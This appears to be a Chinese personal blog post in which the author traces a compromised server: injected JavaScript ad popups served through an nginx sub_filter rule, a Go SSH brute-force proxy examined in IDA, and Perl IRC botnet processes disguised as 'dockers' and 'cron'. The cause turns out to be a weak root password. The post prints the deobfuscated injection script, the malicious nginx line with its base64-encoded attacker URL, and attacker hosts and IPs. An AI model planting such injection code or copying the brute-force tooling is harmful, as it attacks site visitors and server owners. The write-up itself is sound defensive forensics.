记一次 Nginx 被入侵事件

0x01 起因

当我如往常一般打开 PVE 想挂一挂原神的时候，发现居然 Nginx (1.18) 的默认页面被注入了一个 JS, 他还伪装成 JQuery, 非常有趣

JS 反混淆

查看这个 JS, 发现是混淆过后的，于是进行一个反混淆

反混淆代码如下:

Copy
(() => {
const config = {
key: "13792427ab60437bafb55088e45e0e06",
address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",
imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif",
jumpPercent: 100, // 百分比控制
jumpCount: 1, // 每天最多弹几次
debug: false // 调试开关（true = 强制弹）
};

function createPopup() {
if (document.getElementById("popup-container")) return;
const html = `
<div id="popup-container"
style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.6);z-index:999999;">
<div id="popup-box"
style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
border-radius:12px;max-width:90%;background:transparent;">

<span id="popup-close"
style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
transition:color 0.3s;">&#10006;


<img id="popup-image" alt="点击进入"
style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">


`;
document.body.insertAdjacentHTML("beforeend", html);
}

function showPopup() {
createPopup();
const popup = document.getElementById("popup-container");
const box = document.getElementById("popup-box");
const img = document.getElementById("popup-image");
const closeBtn = document.getElementById("popup-close");

if (popup) popup.style.display = "block";
if (img) {
img.src = config.imageUrl;
img.addEventListener("click", () => window.location.href = config.address);
}
if (closeBtn) {
closeBtn.addEventListener("click", () => popup.style.display = "none");
closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
}
if (popup) popup.addEventListener("click", () => popup.style.display = "none");
if (box) box.addEventListener("click", (e) => e.stopPropagation());
}

function conditionCheck() {
if (config.debug) { showPopup(); return; }

let data = {};
try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
const today = new Date().toISOString().split("T")[0];
if (data.date !== today) data = { date: today, count: 0 };

if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;

// 只允许中国大陆 IP
fetch("https://api.ip.sb/geoip")
.then(r => r.json())
.then(json => {
console.log("GeoIP 返回:", json);
if (json.country_code === "CN") {
data.count++;
localStorage.setItem(config.key, JSON.stringify(data));
showPopup();
}
})
.catch(err => console.warn("GeoIP 失败", err));
}

if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", conditionCheck);
} else {
conditionCheck();
}
})();

色情广告

可以看到这不是一个每次都会触发的脚本，为了满足各位的好奇心我还是立即执行一下

0x02 定位

这是一个国内某服务器提供商位于宁波的服务器，服务器已备案于某公司名下，在这样一个严苛的条件下还能进行攻击，非常有意思，那么我们就从受害者 Nginx 开始排查

Copy
root@server-rMGU1XbC:~# curl 127.0.0.1



Welcome to nginx!

body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}

document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();


Welcome to nginx!
If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to
nginx.org.
Commercial support is available at
nginx.com.

Thank you for using nginx.



登录服务器后对本地进行一个请求，发现也被污染了，那么就开始依次排查哪里被攻击了

先看看 Nginx 配置文件

Copy
cat /etc/nginx/nginx.conf

...
sub_filter_types text/html;
sub_filter ' ' ' document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();
';
sub_filter_once off;
...

可以知道 Nginx 所有网页都被添加了一个头部

Copy
root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html



Welcome to nginx!

body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}



Welcome to nginx!
If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to
nginx.org.
Commercial support is available at
nginx.com.

Thank you for using nginx.



本地 Nginx 主页文件是没有被修改的，再检查一下 Nginx 自己有没有被攻击

Copy
root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx
1317754528e1c486b6f1e8b363062683 /usr/sbin/nginx

是没问题的，那么是谁修改的 Nginx 配置呢

0x03 排查

lsof 看一下

Copy
proxy-age 3906587 root 6u IPv4 643527364 0t0 TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587 root 7u IPv4 643523331 0t0 TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587 root 8u IPv4 643527858 0t0 TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587 root 9u IPv4 643486279 0t0 TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587 root 10u IPv4 643524301 0t0 TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587 root 11u IPv4 643524645 0t0 TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)

proxy-agent

用 pid 看一下这个是什么

Copy
root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
proxy-age 3906587 root cwd DIR 8,17 4096 1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root rtd DIR 8,17 4096 2 /
proxy-age 3906587 root txt REG 8,17 8587347 2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root 0r FIFO 0,13 0t0 174659017 pipe
proxy-age 3906587 root 1w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 2w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 3w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 4u a_inode 0,14 0 11318 [eventpoll]
proxy-age 3906587 root 5u a_inode 0,14 0 11318 [eventfd]

非常典型的 /tmp 路径，看一眼

Copy
root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
. .XIM-unix cc.2 newpop sshbot uv-5abec762cab0104e.lock
.. .font-unix cc.3 nginx-test systemd-private-8ad1e99f07844f46aa091036c4c902b8-ModemManager.service-hcplzi
.ICE-unix .mjdjuxxcydy envnew nginx_cache systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-logind.service-FYj7gj
.Test-unix aa.txt envnew.tgz nus systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-resolved.service-1knWwg
.X11-unix cc.1 initial.log snap-private-tmp systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-timesyncd.service-CEKp4h

root@server-rMGU1XbC:~# stat /tmp/.mjdjuxxcydy
File: /tmp/.mjdjuxxcydy
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 811h/2065d Inode: 1257 Links: 3
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-09-11 18:52:26.599159469 +0800
Modify: 2025-07-18 23:11:32.969822573 +0800
Change: 2025-07-18 23:11:32.969822573 +0800
Birth: -
root@server-rMGU1XbC:~# stat /tmp/sshbot
File: /tmp/sshbot
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 811h/2065d Inode: 2167 Links: 2
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-09-11 18:52:26.595159432 +0800
Modify: 2025-07-01 18:23:21.451502461 +0800
Change: 2025-07-01 18:23:21.451502461 +0800
Birth: -

这个 proxy-agent 所在的目录 .mjdjuxxcydy 还有 newpop 和 sshbot 都非常可疑啊，随便拉一个到本地看看

先丢到奇安信去实锤一下，然后自己慢慢分析

Copy
❯ file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped

《with debug_info, not stripped》
Go 语言写的，居然还有调试信息，看一眼

Copy
❯ ldd proxy-agent
linux-vdso.so.1 (0x00007fdb32bb8000)
libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)

没什么问题，打开 IDA 看一眼

Copy
v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v5 + 8);
v.len = v1;
v88.str = (uint8 *)"Failed to fetch password: %v\n";
v88.len = 29LL;
v96.array = (interface__0 *)&v;
v96.len = 1LL;
v96.cap = 1LL;
log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic: nmsys= locks= dying= allocsrax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs Signal signal m->g0= pad1= pad2= text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
v83.str = (uint8 *)"File containing passwords";
v83.len = 25LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v83, v8);
_r0.array = v9;
v98.str = (uint8 *)&go_string__ptr_;
v98.len = 1LL;
v81.str = (uint8 *)&value;
v81.len = 2LL;
v84.str = (uint8 *)"SSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v84.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host&lt;&gt;idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on != allgallpitabsbrkdead is LEAFbase of ) = <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat -%sErrorhttpswrite&amp;&#34;&#39;:***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB, got= ...\n max=scav ptr ] = (trap:init ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v20 + 8);
v.len = v22;
v89.str = (uint8 *)"Invalid timeout value: %v";
v89.len = 25LL;
p_v = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
*(string_0 *)_r0.len,
*(_slice_main_domainIP *)&v16[-8],
*(_slice_main_domainIP *)&v16[16],
v56,
v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
v91.len = 48LL;
v27 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v93.str = (uint8 *)"Failed to load passwords from file: %v";
v93.len = 38LL;
v30 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
v95.str = (uint8 *)"Incorrect password. Exiting...\n";
v95.len = 31LL;
v97.array = 0LL;
*(_OWORD *)&v97.len = 0uLL;
log_Fatalf(v95, v97);
}

仔细看过每个函数后，发现这个软件并不是导致 Nginx 页面被篡改的罪魁祸首，这只是用我们机器做代理去攻击别的服务器的代理软件，那我们还得分析

brute

进入 sshbot 文件夹发现了 brute 可执行文件

brute 用来爆破服务器账号和密码，配合 proxy-agent 攻击别的受害者

dockers

查看 ps aux 可以看到很多在暑假启动的 dockers 进程，虽然显示了运行路径，但是实地考察时发现文件已经被删掉了，只有核心转储了

Copy
root 3578741 0.0 0.1 15896 3828 ? S Jul17 5:09 /usr/sbin/dockers
root 3664316 0.0 0.1 15900 3836 ? S Jul17 0:31 /usr/sbin/dockers
root 3690959 0.0 0.2 16028 3968 ? S Jul18 4:58 /usr/sbin/dockers
root 3694008 0.0 0.1 16032 3904 ? S Jul18 5:01 /usr/sbin/dockers
root 3694116 0.0 0.1 15892 3816 ? S Jul18 4:54 /usr/sbin/dockers
root 3694272 0.0 0.1 16032 3840 ? S Jul18 4:56 /usr/sbin/dockers
root 3695142 0.0 0.1 15900 3824 ? S Jul18 5:06 /usr/sbin/dockers
root 3696764 0.0 0.1 15900 3840 ? S Jul18 4:54 /usr/sbin/dockers
root 3698274 0.0 0.1 16024 3868 ? S Jul18 4:57 /usr/sbin/dockers
root 3701017 0.0 0.1 15900 3836 ? S Jul18 4:59 /usr/sbin/dockers
root 3701045 0.0 0.1 15896 3832 ? S Jul18 5:05 /usr/sbin/dockers
root 3790827 0.0 0.2 15896 4212 ? S Jul18 4:58 /usr/sbin/dockers
root 3829224 0.0 0.2 15900 4160 ? S Jul19 5:00 /usr/sbin/dockers

随便抓一个用 gcore 进行内存转储，获得 core dump

Copy
gcore -o ./dump 3829224

丢到 IDA 里看看

一个 Perl 脚本，继续查看字符串

PnP 和 IRC, 确定是僵尸网络无疑了，dockers 估计就是用来控制我们的上级服务器和用我们去控制别的肉鸡的软件

lsof 查一下 dockers 的通信 IP, 看看是什么地方的肉鸡

原来在瑞士

0x04 水落石出

继续查看 ps aux 看到一个运行了很久的 sshd 进程，得知这个瑞士的 185.208.158.91 的 IP 一直在连接我们的服务器，真是嚣张，都不隐藏自己一下的吗

Copy
root 3809994 57.6 0.2 16656 5564 ? R Aug20 18319:18 /usr/sbin/sshd -i

Copy
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp 0 0 110.xxx.98.xxx:39290 185.208.158.91:6667 ESTABLISHED 3809994/sshd -i

尝试全盘搜索这个用 ssh 连接我们的 IP

Copy
sudo grep -r "185.208.158.91" /etc /var /home

发现日志

Copy
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.

《Accepted password》
服务器上应该有防爆破攻击失败 ban 的防御程序啊，怎么会被知道密码呢
(思考)

警觉 *

果然老运维也会犯这样的错，原本在合资和同学买这个服务器的时候就三番两次地提醒说不要设置这么简单的密码，被以复杂密码不好记，令牌登录不方便等原因糊弄过去，也就不了了之了.

还以为是什么软件太老了被找到了 CVE, 还怪了一下 Ubuntu, 看来还是社工 > 技术啊

现在当务之急便是重装系统，改一个密码，然后写一篇博客告诫自己

0x05 后记

谁在只有 20 个 G 的服务器上装了一个 NAS 啊，也不知道用的难不难受，没有分区用户资料这下重装系统只有全部数据 GG 了

假 cron 和 newpop

清理系统时又发现一个病毒

Copy
root@server-rMGU1XbC:~/volatility# ps aux | grep cron
root 632 0.0 0.1 8540 2552 ? Ss Apr14 0:19 /usr/sbin/cron -f
root 293584 57.8 0.2 16532 4876 ? R Aug26 14023:41 /usr/sbin/cron
root 2451024 0.0 0.1 8436 2460 pts/4 S+ 22:33 0:00 grep --color=auto cron

Copy
root@server-rMGU1XbC:~/volatility# lsof -p 293584
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
/usr/sbin 293584 root cwd DIR 8,17 0 2374 /tmp/newpop (deleted)
/usr/sbin 293584 root rtd DIR 8,17 4096 2 /
/usr/sbin 293584 root txt REG 8,17 3478464 2113 /usr/bin/perl
/usr/sbin 293584 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
/usr/sbin 293584 root mem REG 8,17 27112 15383 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
/usr/sbin 293584 root mem REG 8,17 51856 15384 /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
/usr/sbin 293584 root mem REG 8,17 23152 72436 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/IO/IO.so
/usr/sbin 293584 root mem REG 8,17 47832 72450 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/Socket/Socket.so
/usr/sbin 293584 root mem REG 8,17 62 15152 /usr/lib/locale/C.UTF-8/LC_NAME
/usr/sbin 293584 root mem REG 8,17 47 15155 /usr/lib/locale/C.UTF-8/LC_TELEPHONE
/usr/sbin 293584 root mem REG 8,17 34 15154 /usr/lib/locale/C.UTF-8/LC_PAPER
/usr/sbin 293584 root mem REG 8,17 23 15149 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
/usr/sbin 293584 root mem REG 8,17 252 15148 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
/usr/sbin 293584 root mem REG 8,17 131 15145 /usr/lib/locale/C.UTF-8/LC_ADDRESS
/usr/sbin 293584 root mem REG 8,17 1518110 15146 /usr/lib/locale/C.UTF-8/LC_COLLATE
/usr/sbin 293584 root mem REG 8,17 201272 15147 /usr/lib/locale/C.UTF-8/LC_CTYPE
/usr/sbin 293584 root mem REG 8,17 3035952 11819 /usr/lib/locale/locale-archive
/usr/sbin 293584 root mem REG 8,17 202760 3462 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
/usr/sbin 293584 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/sbin 293584 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/usr/sbin 293584 root mem REG 8,17 1369384 15378 /usr/lib/x86_64-linux-gnu/libm-2.31.so
/usr/sbin 293584 root mem REG 8,17 18848 15377 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
/usr/sbin 293584 root mem REG 8,17 270 15151 /usr/lib/locale/C.UTF-8/LC_MONETARY
/usr/sbin 293584 root mem REG 8,17 48 15150 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
/usr/sbin 293584 root mem REG 8,17 3360 15156 /usr/lib/locale/C.UTF-8/LC_TIME
/usr/sbin 293584 root mem REG 8,17 27002 15643 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/usr/sbin 293584 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/sbin 293584 root mem REG 8,17 50 15153 /usr/lib/locale/C.UTF-8/LC_NUMERIC
/usr/sbin 293584 root 0r FIFO 0,13 0t0 499017526 pipe
/usr/sbin 293584 root 1w FIFO 0,13 0t0 499017527 pipe
/usr/sbin 293584 root 2w FIFO 0,13 0t0 499017528 pipe
/usr/sbin 293584 root 3u IPv4 504764119 0t0 TCP server-rMGU1XbC:60640->104.250.164.23:ircd (ESTABLISHED)

正好对应上之前 /tmp里找到的 newpop, 真是密码一泄漏，全部僵尸网络都过来抢肉鸡了